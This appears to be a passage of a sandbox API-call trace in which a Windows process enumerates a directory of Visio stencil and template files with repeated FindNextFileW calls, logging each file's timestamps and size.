	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33ec600, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa33ec600, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASFLO_U.VST", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3bb000, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3b3bb000, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASICD_M.VST", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9e0a00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3d9e0a00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASICD_U.VST", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68704d00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x68704d00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x18400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASIC_M.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e662e00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6e662e00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASIC_U.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd271e600, ftCreationTime.dwHighDateTime=0x1ca5086, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd271e600, ftLastWriteTime.dwHighDateTime=0x1ca5086, nFileSizeHigh=0x0, nFileSizeLow=0x33400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCKGRN_M.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd271e600, ftCreationTime.dwHighDateTime=0x1ca5086, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd271e600, ftLastWriteTime.dwHighDateTime=0x1ca5086, nFileSizeHigh=0x0, nFileSizeLow=0x30600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCKGRN_U.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e95ed00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e95ed00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x51000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLDCOR_M.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40b1700, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa40b1700, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x4fc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLDCOR_U.VSS", cAlternateFileName="")) returned 1
	[0053.258] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa02a100, ftCreationTime.dwHighDateTime=0x1c33f6c, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfa02a100, ftLastWriteTime.dwHighDateTime=0x1c33f6c, nFileSizeHigh=0x0, nFileSizeLow=0x72a6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLDGPLAN.DWG", cAlternateFileName="")) returned 1
	[0053.259] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47737900, ftCreationTime.dwHighDateTime=0x1c2ef4f, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x47737900, ftLastWriteTime.dwHighDateTime=0x1c2ef4f, nFileSizeHigh=0x0, nFileSizeLow=0xd9ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLDGPLAN.JPG", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c5b200, ftCreationTime.dwHighDateTime=0x1c90742, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x82c5b200, ftLastWriteTime.dwHighDateTime=0x1c90742, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLNKDG_M.VSD", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4269e00, ftCreationTime.dwHighDateTime=0x1c90742, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4269e00, ftLastWriteTime.dwHighDateTime=0x1c90742, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLNKDG_U.VSD", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab322500, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xab322500, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x21a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCK3_M.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbe29b00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbbe29b00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x20200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCK3_U.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc43ad600, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc43ad600, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x2e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCKP_M.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41319100, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x41319100, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCKP_M.VST", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdc43e00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50631300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcdc43e00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x2b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCKP_U.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4393eb00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50631300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4393eb00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCKP_U.VST", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21f71500, ftCreationTime.dwHighDateTime=0x1c635ed, ftLastAccessTime.dwLowDateTime=0x50631300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x21f71500, ftLastWriteTime.dwHighDateTime=0x1c635ed, nFileSizeHigh=0x0, nFileSizeLow=0xf1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCKS.DWG", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd61c7900, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd61c7900, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCK_M.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47277200, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x47277200, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCK_M.VST", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde74b400, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xde74b400, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x21c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCK_U.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4abaf900, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x5060b1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4abaf900, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLOCK_U.VST", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b0dc600, ftCreationTime.dwHighDateTime=0x1ca5e7e, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5b0dc600, ftLastWriteTime.dwHighDateTime=0x1ca5e7e, nFileSizeHigh=0x0, nFileSizeLow=0x21c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDRS_M.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b0dc600, ftCreationTime.dwHighDateTime=0x1ca5e7e, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5b0dc600, ftLastWriteTime.dwHighDateTime=0x1ca5e7e, nFileSizeHigh=0x0, nFileSizeLow=0x21a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDRS_U.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f0d8600, ftCreationTime.dwHighDateTime=0x1ca4e35, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4f0d8600, ftLastWriteTime.dwHighDateTime=0x1ca4e35, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNA_M.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89772300, ftCreationTime.dwHighDateTime=0x1ca4e35, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x89772300, ftLastWriteTime.dwHighDateTime=0x1ca4e35, nFileSizeHigh=0x0, nFileSizeLow=0x8da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNA_U.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fb46700, ftCreationTime.dwHighDateTime=0x1ca4727, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4fb46700, ftLastWriteTime.dwHighDateTime=0x1ca4727, nFileSizeHigh=0x0, nFileSizeLow=0xe800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNC_M.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54791b00, ftCreationTime.dwHighDateTime=0x1ca4727, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x54791b00, ftLastWriteTime.dwHighDateTime=0x1ca4727, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNC_U.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd609300, ftCreationTime.dwHighDateTime=0x1ca4727, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbd609300, ftLastWriteTime.dwHighDateTime=0x1ca4727, nFileSizeHigh=0x0, nFileSizeLow=0xb2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNE_M.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6990300, ftCreationTime.dwHighDateTime=0x1ca4727, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6990300, ftLastWriteTime.dwHighDateTime=0x1ca4727, nFileSizeHigh=0x0, nFileSizeLow=0xb0600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNE_U.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eec4d00, ftCreationTime.dwHighDateTime=0x1ca4e35, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9eec4d00, ftLastWriteTime.dwHighDateTime=0x1ca4e35, nFileSizeHigh=0x0, nFileSizeLow=0x1a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNG_M.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaad80f00, ftCreationTime.dwHighDateTime=0x1ca4e35, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaad80f00, ftLastWriteTime.dwHighDateTime=0x1ca4e35, nFileSizeHigh=0x0, nFileSizeLow=0x1a200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMNG_U.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6188000, ftCreationTime.dwHighDateTime=0x1ca5d07, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe6188000, ftLastWriteTime.dwHighDateTime=0x1ca5d07, nFileSizeHigh=0x0, nFileSizeLow=0x4d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMN_M.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57f43300, ftCreationTime.dwHighDateTime=0x1ca6bfd, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x57f43300, ftLastWriteTime.dwHighDateTime=0x1ca6bfd, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMN_M.VST", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fea8600, ftCreationTime.dwHighDateTime=0x1ca5d0a, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1fea8600, ftLastWriteTime.dwHighDateTime=0x1ca5d0a, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMN_U.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91849200, ftCreationTime.dwHighDateTime=0x1ca4e38, ftLastAccessTime.dwLowDateTime=0x50657460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x91849200, ftLastWriteTime.dwHighDateTime=0x1ca4e38, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPMN_U.VST", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x395adb00, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x395adb00, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x19c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPRES_M.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f50bc00, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3f50bc00, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x18e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BPRES_U.VSS", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3d8300, ftCreationTime.dwHighDateTime=0x1c32fa0, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xff3d8300, ftLastWriteTime.dwHighDateTime=0x1c32fa0, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRAINSTM.XML", cAlternateFileName="")) returned 1
	[0053.260] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b31600, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x41b31600, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM_M.VSS", cAlternateFileName="")) returned 1
	[0053.261] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb7f900, ftCreationTime.dwHighDateTime=0x1ca489c, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8eb7f900, ftLastWriteTime.dwHighDateTime=0x1ca489c, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM_M.VST", cAlternateFileName="")) returned 1
	[0053.261] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44157000, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x44157000, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM_U.VSS", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937cad00, ftCreationTime.dwHighDateTime=0x1ca489c, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x937cad00, ftLastWriteTime.dwHighDateTime=0x1ca489c, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM_U.VST", cAlternateFileName="")) returned 1
	[0053.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d9ed800, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4d9ed800, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x22800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTHKT_M.VSS", cAlternateFileName="")) returned 1
